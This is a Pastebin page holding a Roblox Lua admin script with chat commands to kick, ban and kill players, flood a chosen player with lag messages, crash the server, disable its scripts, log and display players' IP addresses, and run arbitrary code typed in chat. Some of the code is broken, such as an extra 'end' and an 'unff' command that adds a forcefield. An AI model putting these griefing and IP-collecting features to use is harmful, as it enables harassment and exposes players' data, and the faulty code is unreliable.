Advertisement
xjaffie

Admin tabs [2] Bad tabs

Aug 1st, 2015
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. msg = Instance.new("Message")
  3. msg.Parent = game.Workspace
  4. msg.Text = "Loading xJaffie's Admin Skulls" --Leave this credit alone
  5. wait(0.5)
  6. msg.Text = "Loading xJaffie's Admin Skulls." --Leave this credit alone
  7. wait(0.5)
  8. msg.Text = "Loading xJaffie's Admin Skulls.." --Leave this credit alone
  9. wait(0.5)
  10. msg.Text = "Loading xJaffie's Admin Skulls..." --Leave this credit alone
  11. wait(0.5)
  12. msg.Text = "xJaffie's Admin Skulls Have Loaded" --Leave this credit alone
  13. wait(2)
  14. msg:Remove()
  15.  
  16. Admins = {
  17. ["xJaffie"] = 3, -- Your name
  18. [""] = 3, -- Friends names
  19. [""] = 3,
  20. ["xHawe"] = 3 --Leave this credit alone
  21. }
  22. local Levels = {
  23. [0] = {"Peasant", BrickColor.new("Really black")};
  24. [1] = {"Knight", BrickColor.new("Black")};
  25. [2] = {"Lord", BrickColor.new("Dark stone grey")};
  26. [3] = {"King", BrickColor.new("Medium stone grey")}
  27. }
  28. Players = Game:GetService("Players")
  29. Workspace = Game:GetService("Workspace")
  30. Debris = Game:GetService("Debris")
  31. Lighting = Game:GetService("Lighting")
  32. Teams = Game:GetService("Teams")
  33. MR = math.rad
  34. MD = math.deg
  35. IPStore = {}
  36. IPBans = {}
  37. Banned = {"Network Server"}
  38. PrivateServer = {}
  39. PrivateServerWarnings = {}
  40. function IncommingConnection(IPAddress, Replicator)
  41. local IP = IPAddress:sub(1, IPAddress:find(":")-1)
  42. local ThePlayer
  43. Players.PlayerAdded:connect(function(NewPlayer)
  44. if not ThePlayer then
  45. ThePlayer = NewPlayer
  46. end
  47. end)
  48. repeat wait() until ThePlayer
  49. IPStore[ThePlayer.Name] = IP
  50. for i=1, #IPBans do
  51. if IPBans[i] == IP then
  52. ThePlayer:Remove()
  53. end
  54. end
  55. end
  56. function Round(Number, ToWhatExtent)
  57. if ToWhatExtent then
  58. return math.floor(Number/ToWhatExtent+0.5)*ToWhatExtent
  59. else
  60. return math.floor(Number + 0.5)
  61. end
  62. end
  63. Settings = {
  64. Color = BrickColor.new("Medium stone grey"), --Its bright red...
  65. Name = "OneLegend Scythe Admin",
  66. Version = "0.0.8"
  67. }
  68. function ShowInCircle(Prompter,...)
  69. local Args = {...}
  70. local Books = {}
  71. Args[#Args + 1] = "Dismiss"
  72. local Ans = nil
  73. local Rank = Admins[Prompter.Name]
  74. for i=1, #Args do
  75. local IsKings
  76. if Args[i]:find("(Kings Only)") then
  77. IsKings = true
  78. end
  79. local Book = Instance.new("Part", Game:GetService("Workspace"))
  80. Book.Anchored = false
  81. Book.Locked = true
  82. Book.CanCollide = false
  83. Book.TopSurface, Book.BottomSurface = 0, 0
  84. Book.Transparency = 0
  85. Book.Reflectance = 0
  86. Book.FormFactor = Enum.FormFactor.Custom
  87. Book.Size = Vector3.new(2.3, 1, 3)
  88. if IsKings and Admins[Prompter.Name] < 3 then
  89. Book.BrickColor = BrickColor.new("Bright red")
  90. else
  91. Book.BrickColor = Settings.Color
  92. end
  93. table.insert(Books, Book)
  94. local Mesh = Instance.new("SpecialMesh", Book)
  95. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  96. Mesh.MeshType = "FileMesh"
  97. local BG = Instance.new("BodyGyro", Book)
  98. local BP = Instance.new("BodyPosition", Book)
  99. if (IsKings and Admins[Prompter.Name] == 3) or not IsKings then
  100. local Fire = Instance.new("Fire", Book)
  101. Fire.Heat = 0
  102. Fire.Color = Settings.Color.Color
  103. Fire.SecondaryColor = Settings.Color.Color
  104. end
  105. local Billboard = Instance.new("BillboardGui", Book)
  106. Billboard.Adornee = Book
  107. Billboard.Enabled = true
  108. Billboard.Active = true
  109. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  110. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  111. local Text = Instance.new("TextLabel", Billboard)
  112. Text.Text = Args[i]
  113. if IsKings and Admins[Prompter.Name] ~= 3 then
  114. Text.TextColor3 = BrickColor.new("White").Color
  115. else
  116. Text.TextColor3 = Settings.Color.Color
  117. end
  118. Text.BackgroundTransparency = 1
  119. Text.Size = UDim2.new(1, 0, 1, 0)
  120. local ClickDetector = Instance.new("ClickDetector", Book)
  121. ClickDetector.MouseClick:connect(function(Player)
  122. if Player == Prompter and Args[i] == "Dismiss" then
  123. Ans = Args[i]
  124. for _, v in pairs(Books) do
  125. v:Remove()
  126. end
  127. Books = {}
  128. end
  129. end)
  130. end
  131. coroutine.resume(coroutine.create(function()
  132. local radius = 3 + (#Books*.7)
  133. while wait() do
  134. if #Books == 0 then break end
  135. for _, Book in pairs(Books) do
  136. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  137. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  138. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  139. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  140. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  141. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  142. local y = 0
  143. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  144. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  145. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  146. end
  147. end
  148. end))
  149. end
  150. function Prompt(Prompter, ...)
  151. local Args = {...}
  152. local Books = {} --Dismiss sounds cooler :3
  153. Args[#Args + 1] = "Dismiss"
  154. local Ans = nil
  155. for i=1, #Args do
  156. local Book = Instance.new("Part", Game:GetService("Workspace"))
  157. Book.Anchored = false
  158. Book.Locked = true
  159. Book.CanCollide = false
  160. Book.TopSurface, Book.BottomSurface = 0, 0
  161. Book.Transparency = 0
  162. Book.FormFactor = Enum.FormFactor.Custom
  163. Book.Size = Vector3.new(2.3, 1, 3)
  164. Book.BrickColor = Settings.Color
  165. table.insert(Books, Book)
  166. local Mesh = Instance.new("SpecialMesh", Book)
  167. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  168. Mesh.MeshType = "FileMesh"
  169. local Fire = Instance.new("Fire", Book)
  170. Fire.Heat = 0
  171. Fire.Color = Settings.Color.Color
  172. Fire.SecondaryColor = Settings.Color.Color
  173. local Billboard = Instance.new("BillboardGui", Book)
  174. Billboard.Adornee = Book
  175. Billboard.Enabled = true
  176. Billboard.Active = true
  177. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  178. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  179. local Text = Instance.new("TextLabel", Billboard)
  180. Text.Text = Args[i]
  181. Text.TextColor3 = Settings.Color.Color
  182. Text.BackgroundTransparency = 1
  183. Text.Size = UDim2.new(1, 0, 1, 0)
  184. local AttemptToFixPrompt = i
  185. local ClickDetector = Instance.new("ClickDetector", Book)
  186. ClickDetector.MouseClick:connect(function(Player)
  187. if Player == Prompter then
  188. Ans = Args[i]
  189. local BackupBooks = Books
  190. Books = {}
  191. local AnimationOver
  192. pcall(function() BP.Position = Player.Character.Torso.Position end)
  193. Book.Touched:connect(function(zPart)
  194. pcall(function()
  195. if zPart == Player.Character.Torso then
  196. AnimationOver = true
  197. end
  198. end)
  199. end)
  200. delay(5, function() AnimationOver = true end)
  201. for _, v in pairs(BackupBooks) do
  202. v:Remove()
  203. end
  204. BackupBooks = nil
  205. return AttemptToFixPrompt
  206. end
  207. end)
  208. end
  209. coroutine.resume(coroutine.create(function()
  210. local radius = 3 + (#Books)
  211. while wait() do
  212. if #Books == 0 then break end
  213. for _, Book in pairs(Books) do
  214. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  215. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  216. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  217. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  218. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  219. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  220. local y = 0
  221. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  222. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  223. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  224. end
  225. end
  226. end))
  227. while (Ans == nil) and (#Books > 0) do
  228. wait()
  229. end
  230. return Ans
  231. end
  232. function ParseMessage(Message)
  233. Message = Message:gsub("lego%s", "")
  234. Message = Message:gsub("runescape%s", "")
  235. Message = Message:gsub("minecraft%s", "")
  236. local Command
  237. local Args = {}
  238. for Word in Message:gmatch("%w+") do
  239. if not Command then
  240. Command = Word
  241. else
  242. table.insert(Args, Word)
  243. end
  244. end
  245. return Command, Args
  246. end
  247. function ErrorHandler(Error)
  248. print(Error)
  249. local Message = Instance.new("Message", Workspace)
  250. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  251. Game:GetService("Debris"):AddItem(Message, 5)
  252. end
  253. function onPlayerAdded(NewPlayer)
  254. for b=1, #Banned do
  255. if NewPlayer.Name == Banned[b] then
  256. coroutine.resume(coroutine.create(function()
  257. for i=1, 25 do
  258. pcall(function() NewPlayer:Destroy() end)
  259. wait(0.5)
  260. end
  261. end))
  262. end
  263. end
  264. NewPlayer.Chatted:connect(function(C)
  265. xpcall(function()
  266. local a, b = coroutine.resume(coroutine.create(function()
  267. onChat(NewPlayer, C)
  268. end))
  269. assert(a,b)
  270. end, ErrorHandler)
  271. end)
  272. end
  273. function onChat(player, message)
  274. local Command, Arguments = ParseMessage(message)
  275. if Admins[player.Name] ~= nil then
  276. if Command == "kickmenu" then
  277. local People = Game:GetService("Players"):GetPlayers()
  278. local Names = {}
  279. for _, v in pairs(People) do
  280. table.insert(Names, v.Name)
  281. end
  282. local OptionChoosen = Prompt(player, unpack(Names))
  283. print(OptionChoosen)
  284. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  285. game:GetService("Players") [OptionChoosen]:Destroy()
  286. else
  287. print("Player missing")
  288. end
  289. elseif Command == "privateserver" then
  290. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  291. if Option == "Turn on" then
  292. PrivateServerOn = true
  293. local OnJoinCon = function(NewPlayer)
  294. if PrivateServer[NewPlayer.Name] == nil then
  295. NewPlayer:Remove()
  296. if PrivateServerWarnings[NewPlayer.Name] == nil then
  297. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  298. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  299. PrivateServer[NewPlayer.Name] = true
  300. end
  301. end
  302. end
  303. end
  304. while PrivateServerOn do wait() end
  305. OnJoinCon:disconnect()
  306. elseif Option == "Turn off" then
  307. PrivateServerOn = nil
  308. elseif Option == "Add name" then
  309. local Names = {}
  310. for _, v in pairs(Players:GetPlayers()) do
  311. table.insert(Names, v.Name)
  312. end
  313. local PlayerToAdd = Prompt(player, unpack(Names))
  314. if Players:FindFirstChild(PlayerToAdd) then
  315. PrivateServer[PlayerToAdd] = true
  316. end
  317. elseif Option == "Remove name" then
  318. local Names = {}
  319. for Name in pairs(PrivateServer) do
  320. table.insert(Names, Name)
  321. end
  322. local NameToRemove = Prompt(player, unpack(Names))
  323. if Names[NameToRemove] then
  324. Names[NameToRemove] = nil
  325. end
  326. elseif Option == "Remove all names" then
  327. PrivateServer = {}
  328. end
  329. elseif Command == "banmenu" then
  330. local People = Game:GetService("Players"):GetPlayers()
  331. local Names = {}
  332. for _, v in pairs(People) do
  333. table.insert(Names, v.Name)
  334. end
  335. local OptionChoosen = Prompt(player, unpack(Names))
  336. print(OptionChoosen)
  337. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  338. table.insert(Banned, OptionChoosen)
  339. game:GetService("Players") [OptionChoosen]:Destroy()
  340. else
  341. print("Player missing")
  342. end
  343. elseif Command == "rankset" and Admins[player.Name] == 3 then
  344. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  345. local RankSet
  346. if tonumber(Arguments[1]) == 0 then
  347. RankSet = nil
  348. else
  349. RankSet = tonumber(Arguments[1])
  350. end
  351. for i=2, #Arguments do
  352. local arg = Arguments[i]
  353. for z, vPlayer in pairs(Players:GetPlayers()) do
  354. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  355. Admins[vPlayer.Name] = RankSet
  356. end
  357. end
  358. end
  359. end
  360. elseif message:sub(1, 5) == "load/" then
  361. xpcall(function()
  362. local c, d = coroutine.resume(coroutine.create(function()
  363. loadstring(message:sub(6))()
  364. end))
  365. assert(c, d)
  366. end, function(Error)
  367. local Hint = Instance.new("Message", Workspace)
  368. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  369. wait(4)
  370. Hint:Remove()
  371. end)
  372. elseif Command == "cleanup" then
  373. for _, v in pairs(Workspace:GetChildren()) do
  374. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  375. pcall(function() v:Remove() end)
  376. end
  377. end
  378. local Base = Instance.new("Part", Workspace)
  379. Base.Anchored = true
  380. Base.TopSurface = Enum.SurfaceType.Smooth
  381. Base.BottomSurface = Enum.SurfaceType.Smooth
  382. Base.FormFactor = Enum.FormFactor.Symmetric
  383. Base.BrickColor = BrickColor.new("Earth green")
  384. Base.Size = Vector3.new(1000, 1, 1000)
  385. Base.Name = "Base"
  386. Base.CFrame = CFrame.new(Vector3.new())
  387. local Option = Prompt(player, "Click me if you would like to clean everything...")
  388. if Option == "Click me if you would like to clean everything..." then
  389. pcall(function() Lighting:ClearAllChildren() end)
  390. pcall(function() Teams:ClearAllChildren() end)
  391. pcall(function() table.foreach(Players:GetPlayers(), function(_, v) v.Neutral = true end) end)
  392. end
  393. local Option = Prompt(player, "Click me if you would like to respawn players...")
  394. if Option == "Click me if you would like to respawn players..." then
  395. for _, v in pairs(Players:GetPlayers()) do
  396. pcall(function()
  397. local Model = Instance.new("Model", Workspace)
  398. Instance.new("Humanoid", Model)
  399. v.Character = Model
  400. end)
  401. end
  402. end
  403. elseif Command == "hide" then
  404. if Arguments[1] == "ranks" then
  405. NotInViewRanks = true
  406. Lighting.TimeOfDay = "14:00:00"
  407. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  408. while Workspace:FindFirstChild("RankStatus", true) do
  409. Workspace:FindFirstChild("RankStatus", true):Destroy()
  410. end
  411. end
  412. elseif Command == "shutdown" then
  413. local InitTime = time()
  414. while wait() do
  415. pcall(function()
  416. Players:ClearAllChildren()
  417. end)
  418. pcall(function()
  419. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  420. Instance.new("ManualSurfaceJointInstance", Workspace)
  421. end
  422. end)
  423. end
  424. elseif Command == "view" or Command == "show" then
  425. if Arguments[1] == "ranks" then
  426. NotInViewRanks = nil
  427. Lighting.TimeOfDay = "2:00:00"
  428. Lighting.Ambient = BrickColor.new("Black").Color
  429. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  430. local Player = Players:GetPlayerFromCharacter(v)
  431. if Player and Admins[Player.Name] then
  432. local Rank = Admins[Player.Name]
  433. coroutine.resume(coroutine.create(function()
  434. local Head = v:FindFirstChild("Head")
  435. local Status = Instance.new("Part", v)
  436. Status.FormFactor = "Symmetric"
  437. Status.Shape = "Ball"
  438. Status.Name = "Status"
  439. Status.TopSurface = 0
  440. Status.BottomSurface = 0
  441. Status.BrickColor = Levels[Rank][2]
  442. Status.CanCollide = false
  443. Status.Name = "RankStatus"
  444. Status.Transparency = 0.5
  445. local Billboard = Instance.new("BillboardGui", Status)
  446. Billboard.Adornee = Status
  447. Billboard.Enabled = true
  448. Billboard.Active = true
  449. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  450. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  451. local Text = Instance.new("TextLabel", Billboard)
  452. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  453. Text.TextColor3 = Levels[Rank][2].Color
  454. Text.BackgroundTransparency = 1
  455. Text.Size = UDim2.new(1, 0, 1, 0)
  456. local Body = Instance.new("BodyPosition", Status)
  457. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  458. local Fire = Instance.new("Fire", Status)
  459. Fire.Color = Levels[Rank][2].Color
  460. Fire.SecondaryColor = Levels[Rank][2].Color
  461. local function gS(i)
  462. return math.sin(math.rad(i))
  463. end
  464. local function gC(i)
  465. return math.cos(math.rad(i))
  466. end
  467. for _, v in pairs(v:GetChildren()) do
  468. if v:IsA("Part") and v.Name ~= "RankStatus" then
  469. local Sel = Instance.new("SelectionBox", Status)
  470. Sel.Adornee = v
  471. Sel.Color = Levels[Rank][2]
  472. local Fir = Instance.new("Fire", Status)
  473. Fir.Color = Levels[Rank][2].Color
  474. Fir.SecondaryColor = Levels[Rank][2].Color
  475. end
  476. end
  477. while wait() and Head and Head.Parent do
  478. for i = 0, 360, 2 do
  479. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  480. wait()
  481. end
  482. end
  483. end))
  484. end
  485. end)
  486. for _, v in pairs(Workspace:GetChildren()) do
  487. local Player = Players:GetPlayerFromCharacter(v)
  488. if Player and Admins[Player.Name] then
  489. local Rank = Admins[Player.Name]
  490. coroutine.resume(coroutine.create(function()
  491. local Head = v:FindFirstChild("Head")
  492. local Status = Instance.new("Part", v)
  493. Status.FormFactor = "Symmetric"
  494. Status.Shape = "Ball"
  495. Status.Name = "Status"
  496. Status.TopSurface = 0
  497. Status.BottomSurface = 0
  498. Status.BrickColor = Levels[Rank][2]
  499. Status.CanCollide = false
  500. Status.Name = "RankStatus"
  501. Status.Transparency = 0.5
  502. local Billboard = Instance.new("BillboardGui", Status)
  503. Billboard.Adornee = Status
  504. Billboard.Enabled = true
  505. Billboard.Active = true
  506. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  507. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  508. local Text = Instance.new("TextLabel", Billboard)
  509. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  510. Text.TextColor3 = Levels[Rank][2].Color
  511. Text.BackgroundTransparency = 1
  512. Text.Size = UDim2.new(1, 0, 1, 0)
  513. local Body = Instance.new("BodyPosition", Status)
  514. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  515. local Fire = Instance.new("Fire", Status)
  516. Fire.Color = Levels[Rank][2].Color
  517. Fire.SecondaryColor = Levels[Rank][2].Color
  518. local function gS(i)
  519. return math.sin(math.rad(i))
  520. end
  521. local function gC(i)
  522. return math.cos(math.rad(i))
  523. end
  524. for _, v in pairs(v:GetChildren()) do
  525. if v:IsA("Part") and v.Name ~= "RankStatus" then
  526. local Sel = Instance.new("SelectionBox", Status)
  527. Sel.Adornee = v
  528. Sel.Color = Levels[Rank][2]
  529. local Fir = Instance.new("Fire", Status)
  530. Fir.Color = Levels[Rank][2].Color
  531. Fir.SecondaryColor = Levels[Rank][2].Color
  532. end
  533. end
  534. while wait() and Head and Head.Parent do
  535. for i = 0, 360, 2 do
  536. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  537. wait()
  538. end
  539. end
  540. end))
  541. end
  542. end
  543. repeat wait() until NotInViewRanks
  544. AutoColorConnection:disconnect()
  545. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  546. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  547. local Hour = math.floor(SecondsOfToday / (60*60))
  548. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  549. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  550. if Hour > 12 then Hour = Hour - 12 end
  551. ShowInCircle(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  552. end
  553. elseif Command == "kick" then
  554. for _, Arg in pairs(Arguments) do
  555. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  556. if Player.Name:lower():match(Arg:lower()) then
  557. pcall(function() Player:Destroy() end)
  558. end
  559. end
  560. end
  561. elseif Command == "skulls" then
  562. ShowInCircle(player,
  563. "kill", "kick", "ban", "fire", "day", "night", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave"
  564. )
  565. elseif Command == "skulls2" then
  566. ShowInCircle(player,
  567. "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  568. )
  569. elseif Command == "skullsALL" then
  570. ShowInCircle(player,
  571. "kill", "kick", "ban", "fire", "day", "night", "override", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave", "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  572. )
  573. elseif Command == "antiban" then
  574. local PeopleNames = {}
  575. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  576. table.insert(PeopleNames, v.Name)
  577. end
  578. local Option = Prompt(player, unpack(PeopleNames))
  579. if Option then
  580. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  581. if Player.Name == Option then
  582. while wait() do
  583. pcall(function() Players:ClearAllChildren() end)
  584. end
  585. end
  586. end)
  587. end
  588. elseif Command == "ip" and Admins[player.Name] == 3 then
  589. local Option = Prompt(player, "Add banishment", "View ip's", "Remove ip ban")
  590. if Option == "Add banishment" then
  591. local Names = {}
  592. local IPs = IPStore
  593. for Name, IP in pairs(IPs) do
  594. table.insert(Names, Name)
  595. end
  596. local BanPlayer = Prompt(player, unpack(Names))
  597. if IPs[BanPlayer] ~= nil then
  598. table.insert(IPBans, IPs[BanPlayer])
  599. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  600. if v.Name == BanPlayer then
  601. v:Remove()
  602. end
  603. end
  604. end
  605. elseif Option == "View ip's" then
  606. local Names = {}
  607. local IPs = IPStore
  608. for Name, IP in pairs(IPs) do
  609. table.insert(Names, Name)
  610. end
  611. local Option = Prompt(player, unpack(Names))
  612. if IPStore[Option] ~= nil then
  613. Prompt(player, IPStore[Option])
  614. end
  615. end
  616. elseif Command == "lag" then
  617. for _, Args in pairs(Arguments) do
  618. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  619. if Player.Name:lower():find(Args:lower()) == 1 then
  620. while wait() do
  621. for i=1, 10 do
  622. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  623. end
  624. end
  625. end
  626. end
  627. end
  628. elseif Command == "hackaccount" and Admins[player.Name] == 3 then
  629. local Option = Prompt(player, "Add Ban[ROBLOX]", "Hack Accounts", "Remove Hacked")
  630. if Option == "Add Ban[ROBLOX]" then
  631. local Names = {}
  632. local IPs = IPStore
  633. for Name, IP in pairs(IPs) do
  634. table.insert(Names, Name)
  635. end
  636. local BanPlayer = Prompt(player, unpack(Names))
  637. if IPs[BanPlayer] ~= nil then
  638. table.insert(IPBans, IPs[BanPlayer])
  639. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  640. if v.Name == BanPlayer then
  641. v:Remove()
  642. end
  643. end
  644. end
  645. elseif Option == "Hack Accounts" then
  646. local Names = {}
  647. local IPs = IPStore
  648. for Name, IP in pairs(IPs) do
  649. table.insert(Names, Name)
  650. end
  651. local Option = Prompt(player, unpack(Names))
  652. if IPStore[Option] ~= nil then
  653. Prompt(player, IPStore[Option])
  654. end
  655. end
  656. elseif Command == "lag" then
  657. for _, Args in pairs(Arguments) do
  658. for v, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  659. if Player.Name:lower():find(Args:lower()) == 1 then
  660. while wait() do
  661. for i=1, 10 do
  662. Instance.new("Message", Player:FindFirstChild("PlayerGui") or nil).Text = "I B LAGGIN JOO!"
  663. end
  664. end
  665. end
  666. end
  667. end
  668. elseif Command == "breakscripts" and Admins[player.Name] == 3 then
  669. Game:GetService("ScriptContext").ScriptsDisabled = true
  670. Services = {
  671. "Workspace",
  672. "Debris",
  673. "Players",
  674. "Lighting",
  675. "ScriptContext"
  676. }
  677. for i=1, #Services do
  678. pcall(function() game:GetService(Services[i]).Name = math.random(1000, 10000) end)
  679. end
  680. --Idk if this works, just hope :3
  681. local mt = {__index = function() return function() end end}
  682. setmetatable(_G, mt)
  683. elseif Command == "hackmenu" then
  684. local People = Game:GetService("Players"):GetPlayers()
  685. local Names = {}
  686. for _, v in pairs(People) do
  687. table.insert(Names, v.Name)
  688. end
  689. local OptionChoosen = Prompt(player, unpack(Names))
  690. print(OptionChoosen)
  691. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  692. if game:GetService("Players")[OptionChoosen].Character then
  693. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  694. end
  695. else
  696. print("Player missing")
  697. end
  698. elseif Command == "killmenu" then
  699. local People = Game:GetService("Players"):GetPlayers()
  700. local Names = {}
  701. for _, v in pairs(People) do
  702. table.insert(Names, v.Name)
  703. end
  704. local OptionChoosen = Prompt(player, unpack(Names))
  705. print(OptionChoosen)
  706. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  707. if game:GetService("Players")[OptionChoosen].Character then
  708. game:GetService("Players") [OptionChoosen].Character:BreakJoints()
  709. end
  710. else
  711. print("Player missing")
  712. end
  713. elseif Command == "kill" then
  714. for _, Arg in pairs(Arguments) do
  715. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  716. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  717. Player.Character:BreakJoints()
  718. end
  719. end
  720. end
  721. elseif Command == "obc" then
  722. for _, Arg in pairs(Arguments) do
  723. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  724. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  725. Player.MembershipTypeReplicate = 3
  726. end
  727. end
  728. end
  729. elseif Command == "tbc" then
  730. for _, Arg in pairs(Arguments) do
  731. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  732. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  733. Player.MembershipTypeReplicate = 2
  734. end
  735. end
  736. end
  737. elseif Command == "bc" then
  738. for _, Arg in pairs(Arguments) do
  739. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  740. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  741. Player.MembershipTypeReplicate = 1
  742. end
  743. end
  744. end
  745. elseif Command == "ff" then
  746. for _, Arg in pairs(Arguments) do
  747. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  748. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  749. ff = Instance.new ("ForceField")
  750. ff.Parent = Player.Character
  751. end
  752. end
  753. end
  754. elseif Command == "unff" then
  755. for _, Arg in pairs(Arguments) do
  756. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  757. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  758. ff = Instance.new ("ForceField")
  759. ff.Parent = Player.Character
  760. end
  761. end
  762. end
  763. end
  764. elseif Command == "nbc" then
  765. for _, Arg in pairs(Arguments) do
  766. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  767. if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
  768. Player.MembershipTypeReplicate = 0
  769. end
  770. end
  771. end
  772. end
  773. end
  774. game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
  775. --[ SB Mode ]--
  776. for _, player in pairs(game:GetService("Players"):GetPlayers()) do
  777. onPlayerAdded(player)
  778. end
  779. Game:GetService("RunService").Stepped:connect(function()
  780. local S, E = pcall(function()
  781. if LastClean == nil or time() - LastClean >= 10 then do
  782. collectgarbage("collect")
  783. LastClean = time()
  784. end
  785. end
  786. if not S then
  787. ErrorHandler(E)
  788. end
  789. end)
  790. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement